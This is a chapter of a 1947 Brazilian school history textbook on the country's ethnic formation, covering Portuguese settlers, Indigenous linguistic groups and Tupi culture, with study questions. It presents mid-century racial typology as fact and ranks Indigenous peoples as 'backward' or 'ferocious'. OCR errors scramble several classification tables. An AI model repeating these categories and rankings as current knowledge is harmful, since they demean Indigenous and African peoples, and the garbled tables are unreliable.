A FORMAÇÃO ÉTNICA – História do Brasil

A FORMAÇÃO ÉTNICA – História do Brasil

História do Brasil
-Manual Didático para a Terceira Série Ginasial por Ary da Matta (1947)

História do Brasil de Ary da Matta
Cap. 1 – O descobrimento
Cap. 2 – Os primórdios da colonização
Cap.3 – A formação étnica
Cap. 4 – Expansão geográfica
Cap. 5 – Defesa do território
Cap. 6 – Desenvolvimento econômico
Cap. 7 – Desenvolvimento espiritual
Cap. 8 – O sentimento nacional
Cap. 9 – A Independência

UNIDADE III
A FORMAÇÃO ÉTNICA

1.0 elemento branco; 2. O indígena brasileiro; 3. O negro; 4. A etnia brasileira.


A etnia brasileira formou-se do contacto de raças, línguas e culturas diíerentes correspondentes aos grupos de imigração caucasóide, negróide e dos mongolóides já existentes na América em período muito anterior à época dos descobrimentos.
O elemento branco foi representado predominantemente pelos portugueses peninsulares e ilhéus. Os negros provenientes da Africa eram originários dos grupos linguisticos sudaneses e bantos que aportaram ao Brasil desde a 3ª década de colonização. Os, estoques mongolóides aqui existentes e que logo entram em contacto com os outros elementos foram os do grupo linguístico tupi, jé, aruacos, caribas, panos, e guaicurus.
Não se tardou a verificar o fenômeno da mestiçagem provocado pelo contacto biológico de raças diferentes e os fenómenos de aculturação, resultante do contacto de culturas diferentes.
Assim, aos poucos, um novo tipo físico foi-se delineando nas terras do Brasil, muito longe ainda de constituir uma raça mas que já possui essenciais características de uma etnia.

1. O elemento branco

Ao lado do negro importado da África e do indígena aqui encontrado veio
formar o elemento branco europeu, representante da cultura ocidental, na colonização de nossa terra.
Entre eles se verificou a influência predominante da etnia portuguesa cuja formação já mereceu
nossa atenção anteriormente.

Foram
os colonos portugueses do Brasil provenientes de três centros emigratóríos: 1)
Peninsulares meridionais (Alentejo, Extremadura e Algarve ofereceram maiores e
mais influentes contingentes); 2) Peninsulares setentrionais (Beira Alta, Beira
Baixa, Minho, Douro, Trás-os-Montes); 3) Ilhoa (Madeira, Cabo Verde e Açores,
principalmente este último, cuja influência na formação de nossa etnia ainda
não foi convenientemente estudada).

Historicamente,
os primeiros elementos brancos aqui chegados são os dois degredados
contemporâneos do descobrimento, abandonados por Cabral em Porto Seguro ao retomar o roteiro da Índia.

Náufragos,
desertores ou degredados de origem portuguesa foram encontrados regularmente
pelos colonizadores. Alguns deles, identificados com os naturais, prestaram
bons serviços à colonização, como o famoso Diogo Álvares Correia, o
Caramuru, radicado na Bahia, próximo à foz do rio Vermelho, ao sul do local da
futura Salvador; João Ramalho em São Vicente, casado com Bartira, filha do
chefe Tibiriçá, e que auxiliou Martim Afonso na fundação da Vila e foi o
primeiro alcaide de Santo André da Borda do Campo; o célebre Bacharel de
Cananéia,
de nome e procedência discutíveis; Chico Chaves (Francisco
Chaves), encontrado também ao sul por Martim Afonso de Sousa.

Refere
Southey que regularmente eram
enviados para o Brasil, todos os anos, 400 degredados. Há patente exagero em se
considerar a influência destes colonos {orçados na formação social brasileira.
Mesmo que o número fosse grande (o que aliás não é verdade), vale a pena
lembrar que os condenados por crimes inalcançáveis eram justiçados mesmo em
Portugal ou cumpriam degredo na África e na índia. Degredados para o Brasil
foram réus primários, acusados de crimes políticos ou de delitos leves. (Não
vinham réus de heresia, sodomia, traição, moeda falsa).

Imigração
espontânea.
— A imigração
espontânea para o Brasil só se iniciou a partir de 1530
com a expedição de Martim Afonso de Sousa. Para a vila de São Vicente, por
êle fundada em 1532, vieram nobres em grande quantidade e homens livres, conforme
atestam os cronistas e linhagistas Frei
Gaspar de Madre de Deus, Pedro Taques de Almeida Pais Leme, Santa Maria.

Para
as capitanias vieram representantes de velhas casas portuguesas, heróis da
índia, embaixadores, vice-reis e capitaes-mores, ao lado de gente sem brasão e
de genealogia desconhecida. "Minhotos e algarvios se encontraram na
colonização da Madeira e dos Açores.
Andaram juntos os fidalgos da Beira
com os plebeus de Viana e do Porto no primeiro século do Brasil",
escreve
o Prof. António Traverso transcrevendo
Nuno Simões.

A
grande dificuldade que sofria a política colonial portuguesa era sua escassa
densidade demográfica. Um milhão de habitantes para a conquista e colonização
da África, índia e Brasil.

Para Silvestre Rebelo o elemento
branco na colonização do Brasil "compõe-se de descendentes de muitos
fidalgos portugueses e de alguns espanhóis:
I. de cidadãos, de
gente limpa, mas não nobre, vinda de Portugal e das ilhas, tanto dos Açores
como da Madeira;
II. de degredados que desde 1549 foram
sentenciados com pena de degredo para o
Brasil, segundo várias leis, muito principalmente depois de
1600".

 

2. O indígena brasileiro

EVOLUÇÃO DOS ESTUDOS INDIANISTAS

As
primeiras informações.
— As
primeiras informações sobre o indígena brasileiro surgiram no relato dos cronistas
quinhentistas do Brasil. Figuram„já na carta de Pêro
Vaz de Caminha e na correspondência de Vespúcio notícias
sobre o gentio encontrado.

Contribuição dos cronistas inacianos. — A partir de 1549, com o início do governo geral os
trabalhos de catequese iniciados por Nóbrega e seus companheiros de jornada
forneceram os primeiros resultados no que se refere ao conhecimento e
informações sobre o indígena brasileiro. Nóbrega
e Azpilcueta Navarro estudaram-lhe
as línguas e a cultura, traduzindo para eles sermões, orações e autos
religiosos. A grande contribuição foi realmente a de Anchieta, autor de uma "Arte da Gramática da língua
mais usada na terra do Brasil"
(1595). Outras contribuições valiosas
são devidas aos padres Montoia (1598),
Luís Figueira (1587) e Cristobal de Gusmão (1641). Deve-se ao
padre Fernão Cardim os Tratados
da Terra e Gente do Brasil
(1584) (vol. 168 da Brasiliana), relatando o
que
observou na terra entre 1583 e 1590, onde foram reunidos "Do clima
e terra do Brasil", "Do princípio e origens dos índios do
Brasil" e "Narrativa’ epistolar de uma viagem e missão
jesuítica".

Outras
contribuições.
— Tornaram-se
clássicas em nossa literatura as informações de Hans Staden (1557); Thevet
(Singularidades da França Antártica); Jean de Lery (1578) (História de uma viagem feita à Terra
do Brasil antigamente chamada América);
Pêro de Magalhães Gandavo, autor de uma História da
Província de Santa Cruz
vulgarmente
chamada Brasil
(1576); a História
do Brasil
de Frei Vicente do
Salvador (1627); Barleus (1654),
Pizo e Marc Graf figuram entre os
mais credenciados cronistas  holandeses  da época  da conquista flamenga.

 

 

Ataque a
urna taba de tupiniquins.
(Gravura
da obra de Hans Staden — Francfort, 1592.)

 

Naturalistas e viajantes
dos séculos
XIX e XX — A partir do século XIX é
que se iniciaram em relação ao indígena brasileiro trabalhos mais criteriosos e
de observação mais apurada e a aplicação de métodos científicos. A esta fase da
evolução dos estudos indianistas pertencem naturalistas viajantes que
percorreram o Brasil desde 1815. ..A este
grupo se filiam: Alexandre Rodrigues Ferreira, Eschwege (1816), Saint
Hilaire, Escragnole Taunay
(1869), Carlos Frederico Hartt.

Os
naturalistas alemães Spix e Martius não só trouxeram informações
preciosas como também tentaram classificações linguísticas de grande interesse
antropológico, reformadas depois pelos estudos de Karl von den Stein e Ehrenreich
e Koch Grunberg.

Contribuição dos especialistas brasileiros.

O contingente
de estudiosos brasileiros que se. dedicaram a estes assuntos é grande e
profícuo.

Em
1876 Batista Caetano realiza
pesquisas linguísticas de grande interesse, embora sujeitas a revisão à luz dos
novos métodos e novas técnicas antropológicas. João Barbosa Rodrigues estudou e pesquisou os indígenas da Amazónia. O general Couto de Magalhães escreveu "O Selvagem"
em observações realizadas no Araguaia.

Mais
recentemente o general Rondon entra
em contacto com os índios de Goiás e Mato Grosso da Serra do Norte, retificando
e reformando velhos conceitos geográficos e trazendo inestimável contribuição
etnográfica. Ro-quette Pinto (1912)
penetra o sertão para estudar os parecis da Rondônia. Capistrano de Abreu, Ladislau Neto,
Rodolfo Garcia, Heloísa Alberto Torres, Angione Costa, Taunay, Artur Ramos,
Marina de Vasconcelos Plínio Airosa, constituem o grupo mais
recente dos grandes especialistas que se dedicaram ao assunto.

CULTURAS INDÍGENAS ARQUEOLÓGICAS

Existem ainda no Brasil vestígios de culturas desaparecidas de grande
riqueza atestada pelas escavações arqueológicas: sambaquis, estearias, depósitos oleiros em Marajó, Cunani, Santarém.

Sambaquis. — Sambaqui,
sernambi, sarnambi, ostreira, caieira, caleira são vocábulos sinónimos usados
para designar montículos de conchas de forma, tamanho e local muito variáveis, contendo fragmentos de cerâmica,
material lítico, espinhas de peixe, ossadas humanas. Sua ocorrência mais
frequente se verifica no litoral meridional brasileiro, entre o Rio de
janeiro e o Rio Grande do Sul e nos rios do Amazonas, Pará e Maranhão. Não
chegaram ainda os especialistas a um completo acordo sobre, a origem dos sambaquis. Para alguns são obra da natureza, formados pela ação eólia dos ventos e
os movimentos de recuo dos mares; para outros são tipicamente uma invenção
humana e estavam presos a ritos funerários ou ainda identificados com os
"restos de cozinha”, varreduras ou kjokkemmoddings dos autores nórdicos. Uma corrente mais moderna de etnólogos prefere
explicar a origem dos sambaquis como resultado de um trabalho de colaboração
entre o homem e a natureza.

Shell-mounds.

— "Shell – mounds", nomenclatura dos autores americanos que corresponde a montículos funerários, são encontrados no
Brasil, na ilha de Marajó e no nordeste da Guiana
Brasileira, em Cunani.

 

Vaso
pintado de Marajó.
(Reproduzido da "Arte Indígena da Amazónia1‘, de Heloísa Alberto
Torres.)

Urna de argila. (Mesma procedência.)

 

Em
Marajó foram localizados ricos depósitos na ilha do Pacoval, no lago Arari
(leste da ilha), em Camutins e Santa Isabel. Ao conjunto de objetos ali
encontrados deu-se o nome de arte maraioara. O principal depósito é o do
Pacoval, cujo "mound" foi reconhecido como uma evocação totêmica que
lembra em suas linhas um jabuti. Foram estudados por Hartt, Ladislau Neto, Derby e D. Heloísa Alberto Torres.

Tanga
feminina de cerâmica. Pacoval do Arari.
(Mesma procedência.)

Foram retirados
dos referidos depósitos: tangas de barro, potes, igaçabas (urnas funerárias),
ídolos antropomórficos, pratos, discos. O que caracteriza a cerâmica amazônica
além do cozimento do barro, da silhueta dos vasos, é a grande complexidade da
ornamentação da louça, de desenhos caprichosos, de contornos geométricos e a
estilização de motivos botânicos e zoológicos da Amazónia. Há a considerar dois
tipos de louça: a de mesa e a de fogo.

Os
povos oleiros de Marajó seriam provavelmente os extintos aruãs, como propõe Ferreira Pena. Está fora de dúvida que
sofreu grande influência dos ceramistas da América Central, cuja técnica oleira
fora ali introduzida pelas migrações dos aruacos.

Arte marajoara
desenvolvimento do
desenho de um vaso.
(Mesma procedência.)

Em Santarém registrou-se também a presença de outro rico depósito
oleiro estudado por António Serrano e a que se propõe chamar de arte tapajoara,
para diferençada da encontrada em Marajó.

Estearias. — As estearias
são as nossas palafitas, estacarias que em época remota serviam de
sustentáculos às habitações lacustres desaparecidas. São encontrados vestígios
nos lagos Cajari, Turi, Mearim, Pindaré no Maranhão e no lago Caboclo no Pará.

CLASSIFICAÇÃO DO INDÍGENA BRASILEIRO

A
primeira classificação do indígena brasileiro não obedeceu a nenhum critério
científico. Predominou como classificação a distribuição geográfica: os tupis
constituídos pelas tribos da faixa litorânea do Rio Grande do Norte ao Rio
Grande do Sul, e os tapuias, agrupando tribos do sertão. Acrescentava-se a esta
classificação linguística uma outra ainda mais empírica que os dividia em:
língua geral ou brasílica, correspondendo aos tupis, e os de língua travada,
correspondendo aos vários grupos linguísticos dos chamados tapuias.

Com
von Martius (1867) surge uma
classificação
mais completa, embora discutível e criticável, hoje completa
mente reformada, e que serviu de base às classificações posteriores.

São nove os grupos da classificação linguística de Martius:

1.        
Tupis e guaranis — os
guerreiros.

2.        
Jês ou crãs — os cabeças.

3.        
Guck ou coco — os tios.

4.        
Crens ou guerens — os
velhos.

5.        
Parecis ou posagis — os de
cima.

6.        
Goitacás — os corredores
da mata.

7.        
Aruaques ou aruacos — a
gente da farinha.

8.        
Lengoas ou guaicurus — os
cavaleiros.

9.        
índios em transição para a
cultura e língua portuguesa.

Von
Stein, outro etnógrafo alemão que
visitou o Brasil e realizou em 1884 uma expedição ao Xingu, repetida em
1887-1888, acompanhado nesta por Ehrenreich,
modificou a classificação de Martius,
propondo o quadro:

 

 

Aldeia
bacuiri.

(Reproduzido do livro
"O Brasil Central", de Karl von den Stein — Brasiliana,
grande formato.)

1   — Tupis

2   — Jês

3   — Caribas

4   — Nuaruaques ou maipures

5 .— Qoitacás 6.—
Panos

7   — Miranhas

8   — Guaicurus

Mais recentemente há
ainda a considerar as classificações de Roquette Pinto, João Ribeiro, Jònatas Serrano,
Rodolfo
Garcia, Estevão Pinto e Capistrano de Abreu.

Roquette Pinto:

1 — Tupi 2 – Jô

3 – Aruaque 4 – Caraiba

5   — Betóia

6   — Pano

7   — Guaicuru

8   — Alófilo

João Ribeiro:

 

NAÇÕES

 

NAÇÕES QUASE

 

NAÇÕES NÃO

CLASSIFICADAS

i-

CLASSIFICADAS

 

CLASSIFICADAS

1 — Tupis

1

— Carajá

1

— Juris

2- Jês

2

— Pano

2

— Tecunas e uapés

3 — Nu-Aruaques

3

— Miranha

3

— Trumaís

4 — Caribas

4

— Guaicurus

4

— Bororós

 

5

— Puri?

5 6

— Guatós

— Quiriris

Jônatas Serrano:

1   — Tupis-guaranis

2   — Guaicurus

3   — Maipures ou nu-aruaques

4   — Cariris

 

Estêvão Pinto:

1 —

Tupis-guaranis

2___

Nu-aruaques

3 —

Caraíbas

4 —

Jôs

5 —

Cariris

6 —

Tucanos

7 —

Panos

8 —

Guaicurus

9 —

Charruas

10 —

Chirianas

 

6 —

Caraíbas

7 —

Panos

8 —

Betóias

9 —

Bororós

10 —

Nhambiquaras

11

— Uitotós

12

— Juris

13

— Catuquinas

14

— Muras

15

— Nambiquaras

16

— Trumaís

17

— Bororós

18

— Carajás

19

— Goitacás

Ajustando elementos fornecidos por etnógrafos, etnólogos, historiadores
e geógrafos estudiosos do indígena brasileiro e apurando o grau de
responsabilidade e autoridade de cada autor e sujeitando cada informação a
crivo rigoroso, Capistrano de Abreu propõe
um excelente esquema que nos dá conta do estado atual das classificações do
indígena brasileiro:

1.          
Tupis-guaranis, localizados
na Bolívia Oriental, Paraguai, Argentina e litoral brasileiro até o Rio Grande
do Norte;

2.     — Guaicurus no Uruguai, Rio Grande do
Sul, talvez em São Paulo, no Paraguai, em Mato Grosso;

3.     — Maipures ou nu-aruaques, nas
Guianas, no baixo e médio Amazonas e seus afluentes;

 

4.     — Cariris, no Maranhão, Ceará, à
esquerda do baixo São Francisco;

5.    
Jês, em vários
pontos do Brasil central;

6.    
Caraíbas, no
Xingu, etc.

7.    
Panos, desde o
Madeira até o Ucaiale;

8. —
Betóias, disseminados pelo Solimões e pelas
Guianas.

QUESTIONÁRIO
REFLEXIVO

1 — Quais os
primeiros critérios de classificação do indígena brasileiro?

2  — Qual o valor da classificação
de Martius?

3  — Compare a classificação de
Ehrenreich e Jônatas Serrano.



Qual a classificação de João Ribeiro?



Quais os sobreviventes destes grupos?

EXERCÍCIOS

Assinalar num mapa-mundo a distribuição do indígena de acordo com o quadro de Capistrano de Abreu.

Cultura indígena no Brasil

Não possuíam os indígenas do Brasil cultura uniforme. A cada grupo corresponde
um tipo de cultura diferente sujeito embora aos fenómenos decorrentes dos contactos culturais (aculturação,
empréstimo, sobrevivências) que não foram ainda devídamente estudados. Por isso,
considera-se anti-científico
um estudo em conjunto do indígena, visto os fatõres diferenciais de língua, cultura
material e não material e espiritual e talvez mesmo quanto à raça e seus caracteres somáticos
específicos. Como nos faltam até agora dados concretos para uma classificação cultural,
aceita-se a
classificação linguística. Passamos a estudar os grupos mais conhecidos e os
principais aspectos da cultura material, cultura não material e cultura espiritual.

TUPIS-GUARANIS

Os
tupis ter-se-iam irradiado provavelmente da região compreendida entre o alto
Paraguai e o médio Paraná. Dali, em direção ao sul, descendo o Paraguai e o
Paraná, atingiram o Prata e se alojaram pelo litoral. Para o norte, subiram
pelo Paraguai, de onde passaram para a bacia amazônica. Em direção de oeste,
atingiram a Bolívia. Mundurucus, maués e juninas realizaram, ao que parece,
movimentos migratórios para o Amazonas em período anterior ao descobrimento.
Foram contemporâneas dos primórdios da colonização as migrações dos
tupinambaranas para o Madeira, tupinambás para o litoral.

Caracterizavam-se
pelos hábitos guerreiros. Construíam aldeias fortificadas protegidas por
palissadas, desenvolveram a caça e a pesca, dedicavam-se à navegação e
conheciam rudimentos de agricultura, cultivando milho e mandioca.

 

Atendendo
aos aspectos linguísticos, von Stein classificou-os
em tupis puros e tupis impuros. Ao primeiro grupo pertencem os
omáguas, campevas, ucaialis, habitantes das ilhas fluviais do Maranhão. Merecem
referência especial os omáguas que, além de bravos navegadores, foram notáveis
pela deformação intencional do crânio, por meio de talas fortemente amarradas
de modo a dar à cabeça um

Azas de flechas
usadas pelos bororós.

(Reproduzido
do livro "Bororós Orientais" Colbachini — Brasiliana,

grande formato.)

formato oblongo.
Pertencem ao 2.° grupo (tupis impuros) os mundurucus, maués, do Tapajós, os
guernias do médio Madeira, os manitoduás, os jurunas.

Outra
classificação agrupa os tupis em tupis orientais ou tupis da costa, tupis do
Norte e tupis do Sul.

No ponto de vista do interesse histórico, o tupi-guarani constitui o
grupo mais importante e sua língua foi estudada desde logo pelos missionários.
Ao tupi antigo e ao tupi da costa denomina-se abaneenga e ao tupi
moderno, nhengatu.

Pontas de
flechas usadas pelos bororós.
(Mesma procedência da gravura anterior.)

NU-ARUAQUES

A grafia dêste vocábulo não foi ainda uniformizada. Usa-se também Aruak,
Aruac ou, de acordo com a proposta do Museu Nacional, aruacos. A partícula
Nu, sabe-se hoje, corresponde ao possessivo da primeira pessoa.

Os aruacos irradiaram-se da região compreendida entre o Orenoco e o
Negro. Tomaram a direção do litoral. Ocuparam o sul da Venezuela, de onde
passaram às Antilhas (pequenas Antilhas: Trinidad, Martinica; grandes
Antilhas:, Porto Rico, São Domingos, Jamaica, Cuba) e foram encontrados também
no sul da Flórida. Na direção de oeste

ocuparam a
meseta boliviana, de onde teriam atingido o litoral do Pacífico. Para o sul
atingiram até.as regiões setentrionais do Paraguai.

Foram rivais do caribas com os quais andavam em luta permanente e que
acabaram por lhes roubar as mulheres. Conheciam a cultura da mandioca, a
técnica de fabricação da farinha, construíram redes, de dormir de embira.

Pertencem
aos aruacos os pamanradis, habitantes das matas entre o Purus e o Juruá
(perfuravam os lóbulos da orelha e o septo nasal); os parecis nas cabeceiras do
Paraguai e do Guaporé; manaus, aldeados no Uarirá, afluente do Negro, e suas
imediações.

CARIBAS Usa-se também a forma cariba ou caraíba como propõe VON SlEIN.

Ter-se-iam irradiado, segundo a maioria dos filólogos, de uma região do
Brasil central ao sul do Amazonas. Praticavam a antropofagia ritual com que
coroavam sua belicosidade. O vocábulo cariba, alterado pelos espanhóis para
canibal, como sinonimo de antropófago, nos dá uma impressão bem nítida de sua
ferocidade. Figura entre seus hábitos a "couvade" ou
"choco". Fabricavam redes de algodão. Com a mesma fibra teciam
pulseiras que eram amarradas acima do cotovelo e abaixo dos joelhos. Eram exógamos,
isto é, seus casamentos eram realizados entre elementos de famílias diferentes.
Realizavam verdadeiras razias, pilhando, saqueando, devastando.

"Se excetuarmos os maias", escreve o prof. Jônatas
Serrano, "povo aliás dos mais adiantados da América
pré–colombiana, foram os caribas os
únicos indígenas do Novo Mando que souberam usar velas nas suas
embarcações".

Pertencem aos caribas os bacairis e nauguas do alto Xingu; os
pimenteiras dos sertões de Pernambuco e Piauí; os araras do baixo Madeira e
Purus; os apiacás da margem esquerda do baixo Tocantins.

Distribuição
esquemática das principais famílias linguísticas do Indígena brasileiro, baseada no mapa do Museu
Nacional.

JÊS

Os jês correspondem à antiga
classificação de tapuias. A sinonímia é rica: tapujos, tapuias, tapuzas,
tapuits. E de todos, o mais interessante grupo linguístico estudado por Martius, que observou a frequência com
que se repetem os fonemas je, = chefe, pai, e crã = filho, nos
vocábulos gentilicos ou patronímicos.

Localizaram-se na
região central do planalto brasileiro e foram expulsos do litoral pelos tupis.

No ponto de vista cultural
eram os mais atrasados. Desconheciam a agricultura, a cerâmica, navegavam
apenas em balsas, desconheciam a rede de dormir. Usavam flecha de madeira com
lâmina de taquara denteada unilateralmente.

Aos jês pertencem os
caingangues do interior de São Paulo, Paraná e Rio Grande do Sul; os bugres da
região serrana de Santa Catarina, cabeceiras do Uruguai; botocudos ou buruns do
leste de Minas Gerais, regiões meridionais da Bahia, bacias dos rios Doce e
Mucuri.

QUESTIONÁRIO REFLEXIVO

1   — Quais as principais culturas indígenas do Brasil?

2  
— Que diferença, se poderá fazer entre as
expressões: "cultura

material", "cultura não material", e
"cultura espiritual" do indígena brasileiro? Exemplifique.

3 — Que diferença existe entre,
"classificação racial", "classificação cultural" e "classificação
linguística"? Exemplifique.

4  
— Como podemos caracterizar a cultura material do3
tupis?

5  
— Quais, as
principais subdivisões da classificação linguística

dos tupis?

6  
— Qual o motivo eh importância histórica deste
grupo?

7  
— Que diferença existe entre as
denominações abaneenga e

neengatu?

8  
— Qual o foco provável de irradiação dos aruacos?

9  
— Qual a área por eles ocupada?

10 — Como podemos distribuir
geograficamente os diversos representantes deste grupo?

11      — Qual a área geográfica ocupada pelos caribas?

12      — Quais os aspectos mais característicos da
cultura aruaque?

13      — Como se subdivide este grupo?

14      — Onde se localizavam os jês?

15      — Quais os principais representantes deste
grupo?

Sugestões para exercício de
redação e exposição oral:

a)   
Descreva a cena da
gravura da
pag. 90.

b)   — Pesquise no catálogo da biblioteca de sua
escola a bibliografia indianista.

c) — Reproduza documentadamente um fragmento
do folclore- indianista.

EXERCÍCIO

Assinale num
mapa-mudo os focos de irradiação provável dos tupis, jês, caribas e
aruaques.

 

A CULTURA TUPI-GUARANI

De todos os grupos indígenas é o tupi o que maior
interesse
histórico possui dado seu contacto com os elementos alienígenas negro africano
e branco europeu na obra de colonização
e catequese.

Nossos conhecimentos sobre a cultura tupi baseiam-se na informação dos
primeiros cronistas e viajantes e nos dados dos naturalistas dos séculos XIX e XX, enquanto pesquisadores de campo
vão revendo e completando, à luz dos novos métodos de investigação e pesquisa, aquelas informações.

Organização social.
Entre os tupis encontravam-se formas elementares de hierarquia social,
atendendo unicamente às necessidades imediatas da orientação de guerra, caça e
pesca e ofícios religiosos. O poder cabia ao tubixaba ou tuxaua, autoridade
mais elevada. Abaixo deles vinham os morubixabas, seus loco-tenentes, os
capitães da guerra., Aos pajés cabia a função religiosa ligada à prática
da medicina e o conhecimento de rudimentos de agricultura e a tarefa da
perpetuação das lendas.

A
família era poligâmica e o casamento de forma etidogâmica ou exogâmica.

CULTURA MATERIAL

Armamento.
— Armavam-se de arco, flecha,
tacape, sarabaíana. Os arcos eram de madeira resistente, flexível, ornados de
palha trançada, dispondo também de penas coloridas nas extremidades. A corda
era de fibra de algodão trançado ou fibra de fucum. As flechas eram em geral de
l,60m, de madeira inteiriça ou taquara fina, com dentes de animais ou espinhos
de peixe adaptados à ponta e, na outra extremidade, duas penas dispostas em
forma de hélice para orientar a traietória do projétil. Usavam

muitas vezes na sua
extremidade bolas de algodão embebidas em resinas — setas incendiárias e setas
ervadas.

Sarabatanas ou esgarabatanas são cilindros ocos dentro dos quais
colocavam pequenas setas, pedras e esferas de barro, impulsionadas pelo sopro
do atirador.

Tacapes eram massas de madeira rija de 5 a 6 pés de comprimento e dois
palmos na sua maior largura e que traziam pendente do pescoço.

O escudo era a arma defensiva e feito de madeira leve ou couro de
tapir, redondo, oblongo, emplumado e colorido e muitas vezes decorado com
mosaicos de pena.

Utensílios.
— Usavam a urupema para
peneirar. Raspadeiras a que chamavam itaquicés eram fabricadas de cascas
espinhosas onde incrustavam dentes de cotia, lascas de pedra, espinhas de
peixe.

As cabaças, onde guardavam alimentos líquidos, eram de cerâmica
ou de cascas de frutos. Armazenavam a mandioca no tipiti, cilindro de
folhas de palmeira que colocavam pendentes do teto com um peso na extremidade
inferior, a fim de ressecá-la pela compressão. Usavam bastões para
revolver os alimentos.

Habitação.
Habitavam ocas agrupadas nas tabas,
construídas nas proximidades dos cursos d’água ou das lagoas. A taba possuía
no centro uma praça — a ocara, e
era protegida externamente por uma palissada circular de
pau a pique, a caiçara. Nas suas habitações, não se distinguia a parede
do teto construído de galhos de árvore ata
dos de cipó e folhas de palmeira.

Alimentação. — A base
da alimentação era a carne de caça ou pesca.

Conheciam
processos de moquear e defumar, para conservar os alimentos por muito tempo.
Fabricavam farinha de mandioca (mani). Bebiam cauim, obtido pela
fermentação do milho (avati), caju, ananás, mangaba. Alimentavam-se de jerimum
(abóbora); maniçoba era um prato muito apreciado, à base de folhas de
mandioca.

 1. Tupi do Tapajós. (Desenho de ismailovitch.)

2. Tupi. (Desenho de Ismailovitch.)

 

 1. índia carajá. (Doc. Lutz Ferrando.)

2. Guerreiro carajá. (Foto Mário Baldi.)

(Reproduzido do livro "Introdução à Antropologia
Brasileira", de Artur Ramos.)

Caça e pesca, A caça
era feita com auxílio de armadilhas para a caça pequena ou de porte.
Ocultavam–se em choças improvisadas para surpreendê-la, cavavam fossos
habilmente disfarçados para onde acuavam a caça desejada — os mundéus e arapucas para caça pequena,

Pescavam de arpão ou flecha. Era também muito usada a pesca com o
processo de envenenamento da água por meio do timbó ou timbi, além do
emprego de puças,


Indio
canela
jé timbira do Maranhão.
(Desenho
de Ismailovitch.)
(Reproduzido
do livro "Introdução à Antropologia Brasileira", de
Artur Ramos.)

redes de pesca e
engenhosas armadilhas de. taquara. Outro método consistia em represar
as águas piscosas e drená-las depois ou usando também a construção de cacim, bas
à beira rio, as quais esvaziavam para obter o peixe. Navegação. —. Navegavam
utilizando canoas de vários tamanhos construídas de troncos abatidos: igaras,
igarités, igaraçus,
além das ubás, canoas ligeiras construídas de
casca de árvore

CULTURA ESPIRITUAL

Discute-se modernamente se o
indígena do Brasil tinha ou não ideia da existência de uma entidade suprema que
os missionários haviam identificado com Tupã. A seu lado, com importância
secundária, figuravam génios silvestres habitantes dos bosques, rios, lagoas e
capoeirões, como o caapora ou curupira, divindade tutelar dos
animais e vegetais da floresta e que os protegia contra os caçadores; jurupari,
anhã
ou anhangá, habitante das taperas (tabas abandonadas) e
cemitérios, génio mau, irritadiço, ligado por alguns autores aos mitos de
fertilidade; a iara ou "cobra grande", divindade aquática que
atraía os pescadores cantando como as sereias da mitologia grega. Sumé era
um herói civilizador que surgira misteriosamente e lhes ensinara coisas úteis à
agricultura, caça, pesca e fabricação dos alimentos.

Na sua astrolatria adoravam
o Sol (coaraci) e a Lua (jaci).

QUESTIONÁRIO REFLEXIVO

1  
— Quais as funções do tuxaua, do morubixaba
e do pajé?

2  
— De que armas dispunham os tupis?

3  
— Como podemos caracterizar a habitação dos tupis?

4  
— Qual a base de alimentação deste grupo?

5  
— Quais os utensílios mais empregados?

6 — Quais os processos de caça e pesca dos tupis?

7 — Assinale os radicais e afixos das palavras: igara, igarité e igaraçu.

8  
— Quais os principais aspectos da cultura
espiritual dos tupis?

9  
— Conhece ainda
hoje algum exemplo da sobrevivência de

vocábulos tupis na língua portuguesa do Brasil?
Exemplifique. 10 — Reproduza algumas lendas do folclore tupi.

Sugestões para exercício
de redação e exposição oral:

a)   
Comente o "Y ]uca Pirama" de
Gonçalves Dias.

b)        
Reproduza o enredo do "Guarani", de
José de Alencar.

EXERCÍCIO

Assinale num mapa-mudo a área tupi de
acordo com o cartograma da pág. 103.

Contribuição de
ameríndios à língua portuguesa do Brasil

Estudando a influência do índio na formação da etnia brasileira, o
erudito professor Jaques Raimundo assinala
vasta contribuição de vocábulos, raízes, afixos (sufixos e prefixos),
frases-feitas, expressões que enriqueceram a língua portuguesa do Brasil
dando-lhe ao mesmo tempo inconfundível expressão regionalista. O estoque é
variado e o material recolhido reflete uma tendência espontânea de adaptação
que chega até às formações híbridas e os que foram, assimilados de tal modo se
acomodam à morfologia e à semântica portuguesa que nela se encastoaram, como
demonstrou aquele professor.

Jaques Raimundo registra:

Substantivos:

cipoada caipirado tinguijada cajuada pajeado

capinzal cajuedo cajãzeira capinação espocamcnto

cutucadela capinador arataqueiro babaqnarice caipiragem

caiporice urubuzaria caiporismo

 

Adjetivos: tapiocano porebento catingoso
mandioqueiro espipocento

Verbos:
bubuiar capinar pererecar petequear pitarrear

tinguijar atocaiar encoivarar empaçocar espipocar

Nomes
compostos:
cobra-cipó peroba-rosa cajá-manga capipuba

casa-de-sapé capim-de-bucha cupim-de-angola
pirão-de-água-fria

No
domínio das frases-feitas assinala hibridismos luso-brasilígenas. Os exemplos
apresentados evidenciam um absorvente traço nacionalizador: andar ao atá, — ao
léu, sem destino; ficar de bubuia, sobrenadando; ser que nem cajá, — azedo ou
áspero; ser caju, — tolo; andar à coivara,

—    reunindo gravetos; fazer de qiiera, — ser
valentão; falar que nem maitaca, — pelos cotovelos; cair no mundéu,

—    na cilada; sair ‘do mundéu, safar-se; fazer
alguém de peteca, — gato e sapato; estar na pindaíba, — sem dinheiro;
chora-pitanga, lágrimas de sangue; pintar o saracura, — o sete, o caneco, o
diabo; levar taboca, ser enganado; reduzido à tapioca, — a nada; ficar
tiririca, zangar-se; estar à tocaia ou ficar de tocaia, — emboscado; pôr-se na
tocaia, esconder-se, evitar-se; etc.

Agrupou
em famílias semânticas os vocábulos de origem indígena que dão um novo vigor de
expressão às coisas brasileiras.

Nomes dados a pessoas conforme a procedência, qualidades, cargos ou
profissões:

Caboco
ou caboclo, caipira, capiau, tabaréu (fem. tabaroa), tapuio, jacaroa (de
jacaré; mulher feia), carioca, xará ou xerá, pajé, mamaruco ou mamaluco,
carapina, etc.

3. O negro

Evolução dos estudos do negro
no Brasil.

Delimitando fases
características da evolução dos estudos africanistas no Brasil e levando em
conta a importância fundamental das
obras" de Nina Rodrigues, o prof.
Artur Ramos propõe o esquema:

a) Fase pré-Nina Rodrigues.

b) Fase Nina Rodrigues.

c) Fase post-Nina Rodrigues.

A primeira fase corresponde às informações de cronistas e viajantes
naturalistas do Brasil colonial. A Gste último grupo pertencem Spix, Martius, os autores da primeira
classificação do negro no Brasil. Entre, os demais representantes desta fase
predominou apenas o interesse de fixar aspectos pitorescos, sem critérios
